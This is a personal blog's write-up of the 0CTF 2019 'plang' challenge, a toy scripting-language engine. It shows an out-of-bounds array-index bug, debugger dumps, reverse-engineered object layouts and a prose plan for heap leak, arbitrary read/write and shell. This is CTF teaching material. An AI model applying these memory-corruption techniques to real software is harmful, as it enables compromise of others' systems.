陈永恒 Yongheng Chen (Ne0)

我有功于人不可念,而过则不可不念;人有恩于我不可忘,而怨则不可不忘. -- 菜根谭

Home Writeup Friend

0CTF 2019 pclang

23 March 2019

Hi, I am Ne0. Last weekend I played 0ctf for some time, and our team r3kapig got 5th place. (Thanks to my god-like teammates). plang is one of the challenges I solved. And this blog is to share my solution and to ask for any better solution.

The file can be downloaded at my Github repo

Program Info

Just strings plang and we found this code:

class Null {}
class Bool {}
class Num {}
class Fn {}
class Thread {}
class Sequence {
   all(f) {
      var result = true
      for element (this) {
         result = f.call(element)
         if (!result) return result
      }
      return result
   }
   any(f) {
      var result = false
      for element (this) {
         result = f.call(element)
         if (result) return result
      }
      return result
   }
   contains(element) {
      for item (this) if (element == item) return true
      return false
   }
   count {
      var result = 0
      for element (this) result = result + 1
      return result
   }
   count(f) {
      var result = 0
      for element (this) if (f.call(element)) result = result + 1
      return result
   }
   each(f) {
      for element (this) f.call(element)
   }
   isEmpty {
      return iterate(null) ? false : true
   }
   map(transformation) {
      return MapSequence.new(this, transformation)
   }
   where(predicate) {
      return WhereSequence.new(this, predicate)
   }
   reduce(acc, f) {
      for element (this) acc = f.call(acc, element)
      return acc
   }
   reduce(f) {
      var iter = iterate(null)
      if (!iter) Thread.abort("Can't reduce an empty sequence.")
      var result = iteratorValue(iter)
      while (iter = iterate(iter)) result = f.call(result, iteratorValue(iter))
      return result
   join(sep) {
      var first = true
      var result = ""
      for element (this) {
         if (!first) result = result + sep
         first = false
         result = result + element.toString
      }
      return result
   }
   join() {
      return join("")
   }
   toList {
      var result = List.new()
      for element (this) result.add(element)
      return result
   }
class MapSequence < Sequence {
   var sequence
   var fn
   new(seq, f) {
      sequence = seq
      fn = f
   }
  iterate(iterator) { 
     return sequence.iterate(iterator)
  iteratorValue(iterator) {
     return fn.call(sequence.iteratorValue(iterator))
class WhereSequence < Sequence {
   var sequence
   var fn
   new(seq, f) {
      sequence = seq
      fn = f
   }
   iterate(iterator) {
      while (iterator = sequence.iterate(iterator)) 
        if (fn.call(sequence.iteratorValue(iterator))) break
      return iterator
   }
   iteratorValue(iterator) {
      return sequence.iteratorValue(iterator)
   }
class String < Sequence {
   bytes { 
      return StringByteSequence.new(this)
   }
   codePoints {
      return StringCodePointSequence.new(this)
   }
   *(count) {
      if (!(count is num) || !count.isInteger || count < 0) 
         Thread.abort("Count must be a non-negative integer.")
      var result = ""
      for i (0..(count - 1)) result = result + this
      return result
   }
class StringByteSequence < Sequence {
   var string
   new(str) {
      string = str
   }
   [index] { 
      return string.byteAt_(index)
   }
   iterate(iterator) {
      return string.iterateByte_(iterator) 
   }
   iteratorValue(iterator) {
      return string.byteAt_(iterator) 
   }
   count { 
      return string.byteCount_ 
   }
class StringCodePointSequence < Sequence {
   var string
   new(str) {
      string = str
   }
   [index] { 
      return string.codePointAt_(index)
   }
   iterate(iterator) {
      return string.iterate(iterator) 
   }
   iteratorValue(iterator) {
      return string.codePointAt_(iterator)
   }
   count {
      return string.count 
   }
class List < Sequence {
   addAll(other) {
      for element (other) add(element)
      return other
   }
   toString {
      return "[%(join(","))]" 
   }
   +(other) {
      var result = this[0..-1]
      for element (other) result.add(element)
      return result
   }
   *(count) {
      if (!(count is num) || !count.isInteger || count < 0) 
         Thread.abort("Count must be a non-negative integer.")
      var result = []
      for i (0..(count - 1)) result.addAll(this)
      return result
   }
class Map {
   keys { 
      return MapKeySequence.new(this) 
   }
   values {
      return MapValueSequence.new(this)
   }
   toString {
      var first = true
      var result = "{"
      for key (keys) {
         if (!first) result = result + ", "
         first = false
         result = result + "%(key): %(this[key])"
      }
      return result + "}"
   }
class MapKeySequence < Sequence {
   var map
   new(mp) {
      map = mp
   }
   iterate(n) {
      return map.iterate_(n) 
   }
   iteratorValue(iterator) {
      return map.keyIteratorValue_(iterator)
   }
class MapValueSequence < Sequence {
    var map
    new(mp) {
       map = mp
    }
   iterate(n) {
      return map.iterate_(n) 
   }
   iteratorValue(iterator) {
      return map.valueIteratorValue_(iterator) 
   }
class Range < Sequence {}
class System {
   static print() {
      writeString_("
   }
   static print(obj) {
      writeObject_(obj)
      writeString_("
      return obj
   }
   static printAll(sequence) {
      for object (sequence) writeObject_(object)
      writeString_("
   }
   static write(obj) {
      writeObject_(obj)
      return obj
   }
   static writeAll(sequence) {
      for object (sequence) writeObject_(object)
   }
   static writeObject_(obj) {
      var str = obj.toString
      if (str is String) {
         writeString_(str)
      } else {
         writeString_("[invalid toString]")
      }
   }

This is a simple js-like engine. The grammar.md describes the grammar. A poc is also provided. Let’s take a look at it first:

var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0x80000000] = 0x123

Running ./plang poc and we got a crashed:

[----------------------------------registers-----------------------------------]
RAX: 0x4
RBX: 0x555555788c60 --> 0xa ('\n')
RCX: 0x554d55788d60
RDX: 0x4072300000000000 ('')
RSI: 0x80000000
RDI: 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
RBP: 0x7fffffffd890 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 --> 0x7fffffffda60 --> 0x55555556b090 (push   r15)
RSP: 0x7fffffffd870 --> 0x555555788cd0 --> 0x555500000005
RIP: 0x5555555644a6 (mov    QWORD PTR [rcx],rax)
R8 : 0x7ffff7a31c40 --> 0x0
R9 : 0x0
R10: 0x555555773010 --> 0x700000003000101
R11: 0x0
R12: 0x555555788b49 --> 0x3d37010e
R13: 0x555555788bf0 --> 0x555555788b20 --> 0x1e000f0b00080e
R14: 0x555555788cd0 --> 0x555500000005
R15: 0x555555788560 --> 0x7f0000000007
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555556449a:	mov    rax,QWORD PTR [rbp-0x20]
   0x55555556449e:	mov    rdx,QWORD PTR [rax+0x28]
   0x5555555644a2:	mov    rax,QWORD PTR [rax+0x20]
=> 0x5555555644a6:	mov    QWORD PTR [rcx],rax
   0x5555555644a9:	mov    QWORD PTR [rcx+0x8],rdx
   0x5555555644ad:	mov    rcx,QWORD PTR [rbp-0x20]
   0x5555555644b1:	mov    rax,QWORD PTR [rbp-0x20]
   0x5555555644b5:	mov    rdx,QWORD PTR [rax+0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd870 --> 0x555555788cd0 --> 0x555500000005
0008| 0x7fffffffd878 --> 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
0016| 0x7fffffffd880 --> 0x8000000000000005
0024| 0x7fffffffd888 --> 0x555555788180 --> 0x550000000001
0032| 0x7fffffffd890 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 --> 0x7fffffffda60 --> 0x55555556b090 (push   r15)
0040| 0x7fffffffd898 --> 0x55555555fc61 (test   al,al)
0048| 0x7fffffffd8a0 --> 0x7fffffffd8d0 --> 0x7fffffffd910 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 (--> ...)
0056| 0x7fffffffd8a8 --> 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555644a6 in ?? ()
gdb-peda$ q

OOB! It seems that it’s the signness problem: 0x80000000($RSI) is -2147483648 in int. We can confirm this by reverse engineering the plang binary.

However, when I tried b[0xfffffffff]=1 it still crashed as the origin poc. By debugging I found that any interger in 0x80000000-0xffffffff gets the same result: the parser just return 0x80000000 as the index.

Luckily, with a few trials, I figured out a way to bypass it: use an expression.

var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0-0x100] = 0x123

This successfully overwrites the memory at offset -0x100 of b!

[----------------------------------registers-----------------------------------]
RAX: 0x4 
RBX: 0x555555788cf0 --> 0xa ('\n')
RCX: 0x555555787df0 --> 0x0 
RDX: 0x4072300000000000 ('')
RSI: 0xffffff00 
RDI: 0x555555773260 --> 0x555555773f10 --> 0x550000000000 ('')
RBP: 0x7fffffffd890 --> 0x7fffffffd9b0 --> 0x7fffffffd9f0 --> 0x7fffffffda40 --> 0x7fffffffda60 --> 0x55555556b090 (push   r15)
RSP: 0x7fffffffd870 --> 0x555555788d60 --> 0x555500000005 
RIP: 0x5555555644a6 (mov    QWORD PTR [rcx],rax)
R8 : 0x7ffff7a31c40 --> 0x0 
R9 : 0x0 
R10: 0x555555773010 --> 0x700000004000101 
R11: 0x0 
R12: 0x555555788c2f --> 0x3d37010e 
R13: 0x555555788c80 --> 0x555555788c00 --> 0x1e000f0b00080e 
R14: 0x555555788d60 --> 0x555500000005 
R15: 0x555555788560 --> 0x7f0000000007
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555556449a:	mov    rax,QWORD PTR [rbp-0x20]
   0x55555556449e:	mov    rdx,QWORD PTR [rax+0x28]
   0x5555555644a2:	mov    rax,QWORD PTR [rax+0x20]
=> 0x5555555644a6:	mov    QWORD PTR [rcx],rax
   0x5555555644a9:	mov    QWORD PTR [rcx+0x8],rdx
   0x5555555644ad:	mov    rcx,QWORD PTR [rbp-0x20]
   0x5555555644b1:	mov    rax,QWORD PTR [rbp-0x20]
   0x5555555644b5:	mov    rdx,QWORD PTR [rax+0x28]

But wait, what content are we writing to the memory? $RAX==0x4 and $RDX==0x4072300000000000 ? I thought I was writing 0x123 :(

OK, through a deeper analysis, we found that every value in the plang is represented as an object with type.

struct PlangObj{
    long type; // if the obj is a pure double, type is 4, otherwise 5
    union{
        double value;
        obj_ptr* obj;
    };
};

Now we know what 0x4072300000000000 is : it is 0x123 in double. The second field is an union. If an obj other than double is stored in the array, its pointer is actually stored. Well , it makes sense.

Looking at the debugger, we found that var b=[1,2,"This is for test"] looks like the following in memory:

gdb-peda$ telescope 0x5555557881a0
0000| 0x5555557881a0 --> 0x550000000001
0008| 0x5555557881a8 --> 0x55555577e240 --> 0x0
0016| 0x5555557881b0 --> 0x555555788d50 --> 0xa ('\n')
0024| 0x5555557881b8 --> 0x555555788e50 --> 0x4
0032| 0x5555557881c0 --> 0x400000003
0040| 0x5555557881c8 --> 0x51 ('Q')
0048| 0x5555557881d0 --> 0x0
0056| 0x5555557881d8 --> 0x6
gdb-peda$ telescope 0x555555788e50
0000| 0x555555788e50 --> 0x4
0008| 0x555555788e58 --> 0x3ff0000000000000
0016| 0x555555788e60 --> 0x4
0024| 0x555555788e68 --> 0x4000000000000000 ('')
0032| 0x555555788e70 --> 0x5
0040| 0x555555788e78 --> 0x555555788b80 --> 0x5
0048| 0x555555788e80 --> 0x0
0056| 0x555555788e88 --> 0x0
gdb-peda$ telescope 0x555555788b80
0000| 0x555555788b80 --> 0x5
0008| 0x555555788b88 --> 0x55555577c120 --> 0x0
0016| 0x555555788b90 --> 0x555555788600 --> 0x7f0000000005
0024| 0x555555788b98 --> 0x10f94cb1
0032| 0x555555788ba0 ("This is for test")
0040| 0x555555788ba8 ("for test")
0048| 0x555555788bb0 --> 0x0
0056| 0x555555788bb8 --> 0x91

So an array object is like:

struct ArrayObj{
    int type;
    int padding;
    void* some_ptr;
    void* some_ptr2;
    PlangObj* buffer_ptr;
    int size; // the buffer_ptr and size are what we care
    int padding2;
};

A string obj looks like:

struct StringObj{
    int type;
    int padding;
    void* some_ptr;
    void* some_ptr2;
    int some_val;
    int size;
    char[] contents;
};

Wow these two objects are perfect for exploitation. So what do we need to do?

Exploitation

To be brief, the exploitation steps are:

// memory layout
----------------------

    String Obj S (StringCodePointSequence obj)

----------------------

    Array Obj A

----------------------

    Array Obj B

----------------------
  1. leak heap address through S
  2. overwrite the buffer_ptr of A through B
  3. arbitary read and write
  4. be a god

Leak heap address

First we need to leak. This is easy, as long as you have the right obj. We need to use StringCodePointSequence object because StringByteSequence object couldn’t print byte with the higest bit set. So all we need to to is trigger the bug in A, like A[0-0x30]=obj and make sure the pointer of obj is written to the contents part of S. Then we can use string.codePointAt_(index) to leak the pointer.

Modify the buffer ptr of A

As we have leaked the heap addr, we can write an arbitrary heap address to the buffer ptr of A by triggering the oob write in B. If you don’t know how to translate a long int to a double directly, you can use a helper js script like this:

var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "-00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}

Read and write anything anywhere

If we can control the buffer_ptr of A, we are almost done! You don’t believe me? Keep reading!

+0x100  : 0xdeadbeef
+0x108  : 0xdeadbeef
+0x110  : libc_addr

For example ,we want to read the libc_addr at location 0x110. What should we do? We have to fake a type, right? Suppose a double Val_A has the same binary representation of 0x4, we can first change the buffer_ptr of A to 0x100, and execute A[0]=Val_A

Then the memory becomes:

+0x100  : 0x4 //this is the type
+0x108  : 0x4 //this is Value_A
+0x110  : libc_addr

After that, we can modify the buffer_ptr to 0x108, only this time we read System.print(A[0]).

As the we have faked a type at 0x108, the content in 0x110 is considered as a double.

struct PlangObj{
    long type; // if the obj is a pure double, type is 4, otherwise 5
    union{
        double value;
        obj_ptr* obj;
    };
};

So we can get the value of libc_addr as a double.

To write anywhere is just the same as read!

Be a god

Get a shell and you are god.

Conclusion

This is an interesting challenge, a friendly “js engine” exploitation. If you like this writeup, please follow me on Github for more insterestion stuffs! If you have better solutions, please share with me!